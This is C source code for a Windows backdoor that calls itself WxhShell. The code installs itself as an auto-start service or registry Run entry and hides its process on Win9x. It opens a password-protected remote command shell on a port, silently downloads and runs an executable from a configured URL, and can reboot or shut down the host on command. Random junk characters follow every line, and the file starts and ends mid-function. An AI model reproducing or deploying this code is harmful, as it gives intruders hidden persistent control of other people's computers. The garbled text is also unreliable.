    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); el<s8:lA  
    if(Boot(SHUTDOWN)) G<8/F<m/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e7r -R3_  
    else { 9ni1f{k  
    closesocket(wsh); C'@i/+  
    ExitThread(0); Ae^~Cz1qz  
    } 3!Ij;$  
    break; gQelD6c  
    } ?|C2*?hZ+  
  // 获取shell H8^(GUhyp  
  case 's': { eRstD>r  
    CmdShell(wsh); uk]$#TV*q>  
    closesocket(wsh); He/8=$c%  
    ExitThread(0); +I:Unp  
    break; ;Ax }KN7  
  } C12Fl  
  // 退出 Nw/  ku  
  case 'x': { ksqQM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `$<.pOm  
    CloseIt(wsh); m 3hrb-  
    break; 2K6qY)/_  
    } c|B('3h  
  // 离开 18d4fR   
  case 'q': { 4 Y9`IgQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /cdC'g  
    closesocket(wsh); |`,2ri*5A  
    WSACleanup(); \fr~  
    exit(1); IH&|Tcf\  
    break; 7P5)Z-K[  
        } VT`^W Hu  
  } gHEu/8E  
  } Ugt/rf5n  
gNrjo=  
  // 提示信息 [{,T.;'<j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wY % }  
} \?ZB]*Fu  
  } sA/D]W.P  
"]x'PI 4J  
  return; Y%aCMP9j~9  
} fLD, 5SN  
~i{(<.he  
// shell模块句柄 >d*@_ kJM  
int CmdShell(SOCKET sock) !bx;Ta.  
{ )Y0!~# `  
STARTUPINFO si; .x.]`b(  
ZeroMemory(&si,sizeof(si)); ")5":V~fN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; syj0.JD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J26 VnK  
PROCESS_INFORMATION ProcessInfo; {n.PF8A5X  
char cmdline[]="cmd"; :$|HNeDO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9Cp-qA%t  
  return 0; o]_dJB  
} EIAc@$4  
]t,BMu=%  
// 自身启动模式 beGa#JH,  
int StartFromService(void) tBWrL{xLe  
{ P[ck84F/  
typedef struct *?>T,gx}  
{ E\EsWb  
  DWORD ExitStatus; glxsa8  
  DWORD PebBaseAddress; ~2N"#b&J  
  DWORD AffinityMask; J#(LlCs?@c  
  DWORD BasePriority; j#x6  
  ULONG UniqueProcessId; RFcv^Xf  
  ULONG InheritedFromUniqueProcessId; fk>aqm7D!  
}   PROCESS_BASIC_INFORMATION; IGQFtO/x  
F4z{LhZ  
PROCNTQSIP NtQueryInformationProcess; \fd v]f  
D|p9qe5%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9};8?mucr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  _,0  
$G+@_'  
  HANDLE             hProcess; EjR9JUu  
  PROCESS_BASIC_INFORMATION pbi; 5yo%$i8I  
k FD; i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )[IC?U:5I  
  if(NULL == hInst ) return 0; <w9JRpFY  
] vsz, 0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &64h ;P<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vWv"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g2ixx+`?|:  
Y('#jU  
  if (!NtQueryInformationProcess) return 0; hH 3RP{'=  
h"Q8b}$^)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b3[!V{|  
  if(!hProcess) return 0; 5m 4P\y^a  
gO-  _  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QO~P7r|A  
uyWunpT  
  CloseHandle(hProcess); W,n!3:7 s  
lNh70G8^p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AKfDXy  
if(hProcess==NULL) return 0; 8MtGlW%Eh  
"m8^zg hL  
HMODULE hMod; @n /nH?L  
char procName[255]; ~jk|4`I?T  
unsigned long cbNeeded; tw/dD +  
"|q& ea rc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #q$HQ&k  
ZJJY8k `  
  CloseHandle(hProcess); O _ gGf  
v{N`.~,^  
if(strstr(procName,"services")) return 1; // 以服务启动 pE0Sw}A:9  
2MIi=c:oqK  
  return 0; // 注册表启动 ^ VyKd  
} M FMs[+2_o  
BwpqNQN  
// 主模块 7S :\"A7  
int StartWxhshell(LPSTR lpCmdLine) lb3b m)@:  
{ xm~`7~nFR  
  SOCKET wsl; _D&598xx  
BOOL val=TRUE; |SSSH  
  int port=0; /C:gKy4  
  struct sockaddr_in door; s!zx} 5  
G>}255qY  
  if(wscfg.ws_autoins) Install(); gZXi]m&  
AV]2 euyn  
port=atoi(lpCmdLine); my1@41 H  
J yK3{wYS  
if(port<=0) port=wscfg.ws_port; 3;9^  
WE#^a6  
  WSADATA data; V2EUW!gn 2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !9e=_mY  
>uRI'24  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'JE`(xD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V=l0(03j~  
  door.sin_family = AF_INET; V1zmGy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wvh#:Z  
  door.sin_port = htons(port); ebhXak[w  
u&vf+6=9Dd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { khxnlry  
closesocket(wsl); +\]\[6  
return 1; t{9GVLZ  
} \V63qg[  
g:@#@1rB6  
  if(listen(wsl,2) == INVALID_SOCKET) { oZgjQM$YP  
closesocket(wsl); _jVN&\A]mC  
return 1; ^{`exCwM x  
} .~;\eW[  
  Wxhshell(wsl); ?l{nk5,?-Y  
  WSACleanup(); 5C ]x!>kX  
,&.!?0+  
return 0; !;A\.~-!G  
.p[ux vp  
} "&u@d~`-n  
H*R"ntI?w  
// 以NT服务方式启动 Bsvr?|L\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IEi^kJflU  
{ uGGt\.$]s  
DWORD   status = 0; 90rol~M&  
  DWORD   specificError = 0xfffffff; S%>]q s  
vvMT}-!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iYoMO["X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X+9>A.92  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZLejcYS  
  serviceStatus.dwWin32ExitCode     = 0; ouQ T  
  serviceStatus.dwServiceSpecificExitCode = 0; k4;7<j$ir  
  serviceStatus.dwCheckPoint       = 0; ~36!?&eA8  
  serviceStatus.dwWaitHint       = 0; g3y~bf  
@": ^)87  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tyFzSrfc  
  if (hServiceStatusHandle==0) return; ^n z.j  
n-;`Cy`k  
status = GetLastError(); k y7Gwc  
  if (status!=NO_ERROR) wi=v}R_  
{ vk^xT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n7[V&`e_  
    serviceStatus.dwCheckPoint       = 0; 1Pu~X \sO  
    serviceStatus.dwWaitHint       = 0; S,UDezxg  
    serviceStatus.dwWin32ExitCode     = status; b4kgFA  
    serviceStatus.dwServiceSpecificExitCode = specificError; Jnov<+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T8$y[W-c  
    return; A;M'LM-M  
  } u6JM]kR  
V)25$aKW7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Svmy(w~m  
  serviceStatus.dwCheckPoint       = 0; Y$_B1_  
  serviceStatus.dwWaitHint       = 0; wc4=VC"y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0GeTS Fj  
} WOap+  
TC*g|d @b  
// 处理NT服务事件,比如:启动、停止 #*Ctwl,T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #"~<HG}bR/  
{ y<Ot)fa$  
switch(fdwControl) ~c `l@:  
{ 5 7c8xk[.2  
case SERVICE_CONTROL_STOP: U Cjld  
  serviceStatus.dwWin32ExitCode = 0; g($2Dk_F2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NBGH_6DROw  
  serviceStatus.dwCheckPoint   = 0; e\L8oOk#r  
  serviceStatus.dwWaitHint     = 0; z Iu'[U  
  { )SGq[B6@I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x%B/  
  } rx|pOz,:  
  return; 4V`G,W4^J  
case SERVICE_CONTROL_PAUSE: 5.GR1kl6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'H;*W|:-]  
  break; j#ab_3xH  
case SERVICE_CONTROL_CONTINUE: ^1];S^nD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G 3ptx! D  
  break; @ j/a=4o[  
case SERVICE_CONTROL_INTERROGATE: bk[!8- b/a  
  break; R6->t #n,  
}; zO6oT1I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \9T7A&  
} P*j|.63  
6'f;-2  
// 标准应用程序主函数 #H~64/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M\BRcz  
{ 0g8NHkM:2a  
y:uE3Apm  
// 获取操作系统版本 gB33?  
OsIsNt=GetOsVer(); ;$g?T~v7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X &H"51  
5{,<j\#L  
  // 从命令行安装 W"{N Bi  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~D>p0+-c  
!4+<<(B=E  
  // 下载执行文件 ox.F%)eQ  
if(wscfg.ws_downexe) { $XH^~i;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OjA,]Gv6  
  WinExec(wscfg.ws_filenam,SW_HIDE); CqC`8fD1  
} 9\(| D#  
C3g_! dUs  
if(!OsIsNt) { p]c%f 2E>d  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;O,jUiQ  
HideProc(); hhvyf^o   
StartWxhshell(lpCmdLine); 4*;MJ[|  
} %?/X=}sE  
else I&5!=kR  
  if(StartFromService()) m1AJ{cs  
  // 以服务方式启动 {)<v&'*c~  
  StartServiceCtrlDispatcher(DispatchTable); Ow,b^|  
else 8z\xrY  
  // 普通方式启动 ]Hv[IodJ  
  StartWxhshell(lpCmdLine); #/37V2E  
Fsg*FH7J  
return 0; F!K>Kz  
} lyhiFkO iH  
_aeBauD  
COlaD"Y  
)+Pus~w  
=========================================== dj%!I:Q>u  
BY*8ri^u  
#g!.T g'  
alb.g>LNPP  
_q^E,P  
`Q,H|hp;k;  
" *VN6cSq  
a8Wwq?@  
#include <stdio.h> xgtR6E^k  
#include <string.h> }Y4qS  
#include <windows.h> 8q7b_Pq1U  
#include <winsock2.h> 3G4-^hY<  
#include <winsvc.h> c:.eGH_f  
#include <urlmon.h> &%Tj/Qx  
,R|BG  
#pragma comment (lib, "Ws2_32.lib") 93hxSRw  
#pragma comment (lib, "urlmon.lib") 0{SL&<&  
ddR>7d}N  
#define MAX_USER   100 // 最大客户端连接数 C7AUsYM  
#define BUF_SOCK   200 // sock buffer Ek}A]zC  
#define KEY_BUFF   255 // 输入 buffer 9N3eN  
d'sZxU  
#define REBOOT     0   // 重启 kcx Ad   
#define SHUTDOWN   1   // 关机 +"VP-s0  
)`D:F>p*  
#define DEF_PORT   5000 // 监听端口 2J;g{95z  
SgOheN-  
#define REG_LEN     16   // 注册表键长度 *8XEYZa  
#define SVC_LEN     80   // NT服务名长度 @KAI4LP  
#.[k=dj   
// 从dll定义API 3;Fhg!Z O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :BT q!>s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); syK^<xa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TS5Q1+hWHV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @lph)A Nk  
cM7[_*Ot<m  
// wxhshell配置信息 rrv%~giU  
struct WSCFG { [0 e_*  
  int ws_port;         // 监听端口 [ikOb8 G#  
  char ws_passstr[REG_LEN]; // 口令 xId.GWY1  
  int ws_autoins;       // 安装标记, 1=yes 0=no KK &?gTa  
  char ws_regname[REG_LEN]; // 注册表键名 A5w6]:f2  
  char ws_svcname[REG_LEN]; // 服务名 gZ1?G-Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bN@ l?w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NaCy@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `9.r`&T6K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H>@+om  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nFs(?Rv*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _J[P[(ab  
;A!BVq  
}; 7x a>  
Q NVa?'0"Y  
// default Wxhshell configuration  8dyg1F  
struct WSCFG wscfg={DEF_PORT, wlmRe`R  
    "xuhuanlingzhe", {]|J5Dgfe  
    1, 0SPk|kr  
    "Wxhshell", dcT80sOC  
    "Wxhshell", */DO ex"y  
            "WxhShell Service", _<2E"PrT   
    "Wrsky Windows CmdShell Service", 0qT%!ku&  
    "Please Input Your Password: ", ?G&ikxl  
  1, c[Zje7 @  
  "http://www.wrsky.com/wxhshell.exe", %u5]>]M+  
  "Wxhshell.exe" Om {'1  
    }; dC4'{ n|7  
>yh2Lri  
// 消息定义模块 kO-(~];  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HUOj0T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B?o7e<l[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N)>ID(}F1  
char *msg_ws_ext="\n\rExit."; 5NLDYi@3  
char *msg_ws_end="\n\rQuit."; {kAc(  
char *msg_ws_boot="\n\rReboot..."; jlg(drTo  
char *msg_ws_poff="\n\rShutdown..."; L4?IHNB  
char *msg_ws_down="\n\rSave to "; 5rUdv}.  
.3!1`L3  
char *msg_ws_err="\n\rErr!"; @ur+;IK$  
char *msg_ws_ok="\n\rOK!"; k-""_WJ~^  
7j)8Djzp|  
char ExeFile[MAX_PATH]; W`*r>`krVJ  
int nUser = 0; /5AJ.r  
HANDLE handles[MAX_USER]; r!{Up7uL  
int OsIsNt; FU<Jp3<%  
7vj2 `+r.  
SERVICE_STATUS       serviceStatus; dGTsc/$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :p6M=  
FNId ;  
// 函数声明 W'TaBuCb  
int Install(void); pcI uN  
int Uninstall(void); PE5G  
int DownloadFile(char *sURL, SOCKET wsh); {cw /!B  
int Boot(int flag); k.15CA`  
void HideProc(void); #yvGK:F  
int GetOsVer(void); eQvg7aO;  
int Wxhshell(SOCKET wsl); w:l V"]1  
void TalkWithClient(void *cs); ?@ $r  
int CmdShell(SOCKET sock); e64^ChCoV  
int StartFromService(void); Lq!>kT<]!  
int StartWxhshell(LPSTR lpCmdLine); ;P&OX5~V  
N$:8 ,9.z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  1ZB"EQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _8agtQ:<  
$]2vvr  
// 数据结构和表定义 !_Z&a  
SERVICE_TABLE_ENTRY DispatchTable[] = R_S.tT!  
{ ?#Q #u|~  
{wscfg.ws_svcname, NTServiceMain}, xFg>SJ7]  
{NULL, NULL} iMRwp+$  
}; 26x[X.C:  
Ef13Q]9|  
// 自我安装 &UlWCOo8  
int Install(void) CQDkFQq-dq  
{ eO[b1]WLP  
  char svExeFile[MAX_PATH]; (0kK_k'T  
  HKEY key; @2v_pJy^  
  strcpy(svExeFile,ExeFile); =rX>1  
2SR:FUV/  
// 如果是win9x系统,修改注册表设为自启动 d4z/5Oa  
if(!OsIsNt) { X+]G-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3%=~) 7cF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G'aDb/  
  RegCloseKey(key); tcog'nAz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y Fq&8 x<X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =[jXe  
  RegCloseKey(key); hqkz^!rp  
  return 0; URbletSBQ  
    } ?p8_AL'RS  
  } >t_6B~x9  
} ?= fyc1  
else { F`]2O:[  
_ZkI)o  
// 如果是NT以上系统,安装为系统服务 GF=g<H M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /fV;^=:8c  
if (schSCManager!=0) jsi!fx2Rm  
{ "|KP'<8%  
  SC_HANDLE schService = CreateService w_u\sSQ`!  
  ( OJy#w{4  
  schSCManager, kX2rp?{  
  wscfg.ws_svcname, BsYa3d=}  
  wscfg.ws_svcdisp, @cB$iP=Z4  
  SERVICE_ALL_ACCESS, ~z;FP$U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O463I.XAP  
  SERVICE_AUTO_START, -v|qZ'  
  SERVICE_ERROR_NORMAL, zjoq6  
  svExeFile, e6RPIg  
  NULL, Qv/=&_6  
  NULL, *<ewS8f*6  
  NULL, *$ %a:q1U  
  NULL, UByv?KZi  
  NULL cDH^\-z  
  ); ,:\|7F  
  if (schService!=0) TT3|/zwn  
  { \d$!a5LF}  
  CloseServiceHandle(schService); G+|` 2an  
  CloseServiceHandle(schSCManager); _n>,!vH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AbmAKA@  
  strcat(svExeFile,wscfg.ws_svcname); EG |A_m85  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e.V:)7Uc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^eYVWQ'  
  RegCloseKey(key); LTx,cP  
  return 0; }Y36C.@H  
    } [87,s.MK  
  } %;YHt=(1*X  
  CloseServiceHandle(schSCManager); $(>+VH`l  
} RF0HjgP  
} ,',o'2=!  
#],&>n7'  
return 1; {o`] I>gb  
} d <JM36j?  
:1KpGj*F  
// 自我卸载 (,Df^4%7  
int Uninstall(void) )gy!GK  
{ QbpFE)TYJ|  
  HKEY key; G,Azm }+  
!^Y(^RS@  
if(!OsIsNt) { dT1H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0T5L_%c  
  RegDeleteValue(key,wscfg.ws_regname); U H/\  
  RegCloseKey(key); ,f;}|d:r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2Dj%,gaR  
  RegDeleteValue(key,wscfg.ws_regname); ~|xA4u5LG  
  RegCloseKey(key); yhA6i  
  return 0; M%;hB*9  
  } _Qi&J.U>  
} *>qp:;,DKP  
} H@8sNV/u  
else { gn".u!9j  
m<"WDU?y;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HYSIN^<oy  
if (schSCManager!=0) Y,t={HiclX  
{ ,0HRAmG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F,)%?<!I  
  if (schService!=0) j*TYoH1  
  { __GqQUQ  
  if(DeleteService(schService)!=0) { VUR|OV%  
  CloseServiceHandle(schService); |02gupqqi  
  CloseServiceHandle(schSCManager); i|*)I:SHU  
  return 0; ocS5SB]8  
  } \<TXS)w]  
  CloseServiceHandle(schService); G..aiA  
  } 0o*8#i/)!3  
  CloseServiceHandle(schSCManager); 6-B|Y3)B  
} ):_\;.L  
} _1!OlQ  
HLaRGN3,  
return 1; e@* EzvO  
} ?\s+EE&-  
/9p wZ%:<  
// 从指定url下载文件 !fR3 (=oN  
int DownloadFile(char *sURL, SOCKET wsh) +8d1|cB"  
{ vbe|hO""  
  HRESULT hr; 6?~"V  
char seps[]= "/"; G@jZ)2  
char *token; :~N-.#  
char *file; ly_HWuFJ3  
char myURL[MAX_PATH]; 3H6lBF  
char myFILE[MAX_PATH]; Bj-: #P@  
_k ~KZ;l  
strcpy(myURL,sURL); l &5QZI0I  
  token=strtok(myURL,seps); 1--C~IjJ+  
  while(token!=NULL) A='N=^Pm  
  { y^v6AM  
    file=token; 0rG^,(3m  
  token=strtok(NULL,seps); `gf0l /d  
  } D}8[bWF  
8MzVOF{"  
GetCurrentDirectory(MAX_PATH,myFILE); )@Yf]qx+Y<  
strcat(myFILE, "\\"); OGg>#vj,s  
strcat(myFILE, file); bU:EqW\(^  
  send(wsh,myFILE,strlen(myFILE),0); EZ$>.iy{  
send(wsh,"...",3,0); Df<xWd2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ah0`KxO]  
  if(hr==S_OK) Ne{?:h.!  
return 0; RA'M8:$  
else r@t9Ci=}  
return 1; _Wq  
pRIhFf  
} WRy aKM  
|G,tlchprs  
// 系统电源模块 5l2 ?  
int Boot(int flag) lc,tVe_  
{ D rHV G  
  HANDLE hToken; q?DTMKx  
  TOKEN_PRIVILEGES tkp; GyIT{M}KV  
'~[d=fwH  
  if(OsIsNt) { =Og)q$AL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Xr$J9*Jk-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (# Gw1  
    tkp.PrivilegeCount = 1; UT=tT )4b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o(LFh[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wKY Za# u  
if(flag==REBOOT) { (ehK?6[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w2Jf^pR  
  return 0; Vp*KfS]  
} ;q:zT\A  
else { V#t%/l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m4&h>9. 8  
  return 0; PQnF  
} r(aLEJ"u?  
  } 6)-X  
  else { XY)&}u.  
if(flag==REBOOT) { =;3Sx::=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I)cFG{~L  
  return 0; EQ`(yj  
} 36%nB*  
else { xtE_=5$~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !?p%xj?  
  return 0; sCis4gX.]  
} )5%'.P>  
} wEE\+3b)  
*:t|qgJI#+  
return 1; ?R Oqn6k&c  
} RwPN gRF  
&8>IeK {I  
// win9x进程隐藏模块 )Xak JU^o  
void HideProc(void) #PanfYR  
{ lBhLf@  
X1Ac*oLN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oCi=4#g%7  
  if ( hKernel != NULL ) *x])Y~oQ  
  { ?^$MRa:D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &nkW1Ner9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OCJnjlV%  
    FreeLibrary(hKernel); O<"}|nbmQ[  
  } 7,|c  
O QT;zqup  
return; Fpa ;^F  
} ,:`4%  
sqJSSNt  
// 获取操作系统版本 {Jx4xpvPo  
int GetOsVer(void) 2?,EzBeal  
{ ->O2I?  
  OSVERSIONINFO winfo; K]|> Et`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !+4cqO  
  GetVersionEx(&winfo); pN9A{v(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C;`XlQG `  
  return 1; 2eC(Ijq[a  
  else *l;B\=KR  
  return 0; )h|gwERj  
} WxJf{=-  
\ZhfgE8{%  
// 客户端句柄模块 {h2TD P  
int Wxhshell(SOCKET wsl) :l&V]}:7*  
{ 2@~M4YJf  
  SOCKET wsh; f=!VsR2o  
  struct sockaddr_in client; ivz>dJ?T  
  DWORD myID; C2xL1`  
}X_;X_\3;'  
  while(nUser<MAX_USER) nJ"YIT1K]p  
{ 0zCw>wBPW  
  int nSize=sizeof(client); dT$M y`>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fxqp-}:  
  if(wsh==INVALID_SOCKET) return 1; ,H2D  
RJH,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U_$qi  
if(handles[nUser]==0) RUUk f({(  
  closesocket(wsh); @81Vc<dJ  
else gE hN3(  
  nUser++; uy^   
  } -}4NT{E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8kt5KnD2  
lz0TK)kuC  
  return 0; aJe^Tp(  
} Za7q$7F7Bc  
o/ mF #  
// 关闭 socket |*X*n*oI  
void CloseIt(SOCKET wsh) + "}=d3E6  
{ q4$+H{xB  
closesocket(wsh); jWO/ xX  
nUser--; GK}'R=   
ExitThread(0); !W'Ui 9uX  
} ~!d/8?!   
y}K\%;`[a  
// 客户端请求句柄 s(LT  
void TalkWithClient(void *cs) J5[~LZKW  
{ j9U%7u]-k  
q$.{j"cZV  
  SOCKET wsh=(SOCKET)cs; dg7=X{=9jv  
  char pwd[SVC_LEN]; KZ e)K_1[  
  char cmd[KEY_BUFF]; tYqs~B3  
char chr[1]; %tt%`0  
int i,j; J3b4cxm  
.E~(h*NW  
  while (nUser < MAX_USER) { nGf);U#K  
u@P[Vb   
if(wscfg.ws_passstr) { >A q870n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EIbXmkHl<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BtdXv4V  
  //ZeroMemory(pwd,KEY_BUFF); sz):oea@f@  
      i=0; 7"*|2Xq  
  while(i<SVC_LEN) { \mN[gT}LHm  
Q U F$@)A  
  // 设置超时 G02m/8g3  
  fd_set FdRead; }o,z!_^PLQ  
  struct timeval TimeOut; +P`(Rf"luu  
  FD_ZERO(&FdRead); \#x}q'BC4  
  FD_SET(wsh,&FdRead); E%TpJl'U  
  TimeOut.tv_sec=8; 9>#:/g/  
  TimeOut.tv_usec=0; rf9_eP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pA#}-S%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *Sf -; U  
 <n\`d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )g@S%Yu  
  pwd=chr[0]; l0Ti Z  
  if(chr[0]==0xd || chr[0]==0xa) { a!c[!  
  pwd=0; W~B5>;y  
  break; 1fL<&G  
  } tAFti+Qb  
  i++; &~f3psA  
    } FM5e+$>@  
a)! g7u  
  // 如果是非法用户,关闭 socket [r OaM$3|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zN_:nY>  
} mN5 8r"!J  
X7|.T0{=x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0gF!!m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MuEy>dl  
Y/8K;U|  
while(1) { [$(R#tZ+  
cQZ652F9  
  ZeroMemory(cmd,KEY_BUFF); $\Tkhq<  
VnJMmMM  
      // 自动支持客户端 telnet标准   "x&C5l}n  
  j=0; 2 vKx]w  
  while(j<KEY_BUFF) { >1irSUj"~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A~{f/%8D  
  cmd[j]=chr[0]; AzpV4(:an.  
  if(chr[0]==0xa || chr[0]==0xd) { $ 'QdFkOr  
  cmd[j]=0; ]&i+!$N_  
  break; [{<dbW\ 9  
  } 6a>H|"P NE  
  j++; W*xX{$NL  
    } 4R) |->"  
<3O T>E[  
  // 下载文件 "!Rw)=7O  
  if(strstr(cmd,"http://")) { IdRdW{o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FF Gqa&  
  if(DownloadFile(cmd,wsh)) bYh9sO/l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zyN (4  
  else EZ(^~k=I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f!-Sz/c#  
  } WA.\*Nqze  
  else { 4W\,y_Q o  
]Bb7(JX  
